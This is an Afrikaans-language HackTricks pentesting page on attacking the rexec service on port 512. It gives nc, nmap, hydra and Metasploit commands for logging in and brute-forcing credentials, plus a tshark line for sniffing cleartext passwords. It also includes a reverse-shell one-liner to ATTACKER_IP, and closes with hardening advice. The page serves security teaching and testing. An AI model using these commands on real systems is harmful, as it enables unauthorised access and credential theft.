512 - Pentesting Rexec
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die š¬ Discord groep of die telegram groep of volg ons op Twitter š¦ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Rexec (remote exec) is een van die oorspronklike Berkeley r-dienste suite (saam met rlogin
, rsh
, ā¦). Dit bied 'n afgeleĆ« opdrag-uitvoering vermoĆ« geverifieer slegs met 'n duidelike teks gebruikersnaam en wagwoord. Die protokol is in die vroeĆ« 1980's gedefinieer (sien RFC 1060) en word vandag beskou as onveilig deur ontwerp. Nietemin is dit steeds standaard geaktiveer in sommige erflike UNIX / netwerk-aangeskakelde toerusting en verskyn af en toe tydens interne pentests.
Standaard Poort: TCP 512 (exec
)
PORT STATE SERVICE
512/tcp open exec
š„ Alle verkeer ā insluitend geloofsbriewe ā word ongeĆ«nkripteer oorgedra. Enige iemand met die vermoĆ« om die netwerk te snuffel, kan die gebruikersnaam, wagwoord en opdrag herstel.
Protokol vinnige oorsig
- Kliƫnt verbind met TCP 512.
- Kliƫnt stuur drie NUL-beƫindigde stringe:
- die poortnommer (as ASCII) waar dit wil ontvang stdout/stderr (dikwels
0
), - die gebruikersnaam,
- die wagwoord.
- 'n Finale NUL-beƫindigde string met die opdrag om uit te voer, word gestuur.
- Die bediener antwoord met 'n enkele 8-bis statusbyte (0 = sukses,
1
= mislukking) gevolg deur die opdraguitset.
Dit beteken jy kan die uitruil herproduseer met niks meer as echo -e
en nc
:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
As die geloofsbriewe geldig is, sal jy die uitvoer van id
regstreeks terugkry op dieselfde verbinding.
Handmatige gebruik met die kliƫnt
Baie Linux verspreidings verskaf steeds die ou kliƫnt binne die inetutils-rexec / rsh-client pakket:
rexec -l user -p password <target> "uname -a"
As -p
weggelaat word, sal die kliƫnt interaktief vir die wagwoord vra (sigbaar op die draad in duidelike teks!).
Enumerasie & Brute-forcing
Brute-force
Nmap
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
Die rexec-brute
NSE gebruik die protokol hierbo beskryf om akrediteerbesonderhede baie vinnig te probeer.
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra
het 'n toegewyde rexec module en bly die vinnigste offline bruteforcer. medusa
(-M REXEC
) en ncrack
(rexec
module) kan op dieselfde manier gebruik word.
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
Die module sal 'n shell op sukses genereer en die geloofsbriewe in die databasis stoor.
Snuffel geloofsbriewe
Omdat alles in duidelike teks is, is netwerkopnames van onskatbare waarde. Met 'n kopie van die verkeer kan jy geloofsbriewe onttrek sonder om die teiken aan te raak:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark, stel Decode As ā¦ā TCP 512 ā REXEC in om mooi geparseerde velde te sien.)
Post-Exploitation wenke
- Opdragte word uitgevoer met die voorregte van die verskafde gebruiker. As
/etc/pam.d/rexec
verkeerd geconfigureer is (bv.pam_rootok
), is root shells soms moontlik. - Rexec ignoreer die gebruiker se shell en voer die opdrag uit via
/bin/sh -c <cmd>
. Jy kan dus tipiese shell-escape truuks (;
,$( )
, backticks) gebruik om verskeie opdragte te ketting of om omgekeerde shells te genereer:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- Wagwoorde word dikwels gestoor in ~/.netrc op ander stelsels; as jy een gasheer kompromitteer, kan jy dit hergebruik vir laterale beweging.
Versterking / Ontdekking
- Moet nie rexec blootstel nie; vervang dit met SSH. Virtueel alle moderne inetd superservers kommentaar die diens standaard uit.
- As jy dit moet hou, beperk toegang met TCP wrappers (
/etc/hosts.allow
) of firewall reƫls en handhaaf sterk per-rekening wagwoorde. - Monitor vir verkeer na :512 en vir
rexecd
proseslanse. 'n Enkele pakketvang is genoeg om 'n kompromie te ontdek. - Deaktiveer
rexec
,rlogin
,rsh
saam ā hulle deel die meeste van dieselfde kodebasis en swakhede.
Verwysings
- Nmap NSE
rexec-brute
dokumentasie ā https://nmap.org/nsedoc/scripts/rexec-brute.html - Rapid7 Metasploit module
auxiliary/scanner/rservices/rexec_login
ā https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die š¬ Discord groep of die telegram groep of volg ons op Twitter š¦ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.